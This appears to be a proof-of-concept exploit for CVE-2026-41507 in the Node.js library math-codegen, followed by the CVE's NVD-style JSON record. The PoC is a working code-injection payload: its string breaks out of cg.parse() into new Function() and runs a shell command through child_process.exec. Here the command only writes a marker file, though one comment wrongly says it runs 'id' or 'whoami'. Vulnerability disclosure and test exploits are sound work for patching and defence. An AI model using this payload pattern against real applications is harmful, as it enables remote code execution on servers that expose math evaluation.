CVE-2026-41507

// PoC for CVE-2026-41507 // Demonstrates arbitrary code execution via unsanitized input in cg.parse() // Usage: node poc.js const cg = require('math-codegen'); // Vulnerable version < 0.4.3 // The vulnerability allows injecting arbitrary code into the new Function() body. // By breaking out of the expected mathematical expression context, // we can execute Node.js child processes. // Payload example: Execute 'id' command on Linux/Mac or 'whoami' on Windows // The input is treated as a string literal inside the generated function. // We close the string/operation and inject a malicious statement. var maliciousPayload = "1); process.mainModule.require('child_process').exec('echo VULNERABLE > pwned.txt'); //"; console.log("[*] Attempting to exploit CVE-2026-41507..."); try { // The vulnerable library passes the payload directly to new Function() // resulting in execution similar to: new Function('return ' + payload)() var result = cg.parse(maliciousPayload); console.log("[+] Payload sent to cg.parse(). Check if file 'pwned.txt' was created."); } catch (e) { console.log("[-] Error during execution (may be due to syntax or environment):", e.message); }

{"cve": {"id": "CVE-2026-41507", "sourceIdentifier": "[email protected]", "published": "2026-05-08T14:16:34.133", "lastModified": "2026-05-08T16:02:14.343", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "math-codegen generates code from mathematical expressions. Prior to version 0.4.3, string literal content passed to cg.parse() is injected verbatim into a new Function() body without sanitization. This allows an attacker to execute arbitrary system commands when user-controlled input reaches the parser. Any application exposing a math evaluation endpoint where user input flows into cg.parse() is vulnerable to full RCE. This issue has been patched in version 0.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/mauriciopoppe/math-codegen/commit/4bb52d3030683362b3559ee8dd91350555a05f6b", "source": "[email protected]"}, {"url": "https://github.com/mauriciopoppe/math-codegen/pull/11", "source": "[email protected]"}, {"url": "https://github.com/mauriciopoppe/math-codegen/security/advisories/GHSA-p6x5-p4xf-cc4r", "source": "[email protected]"}]}}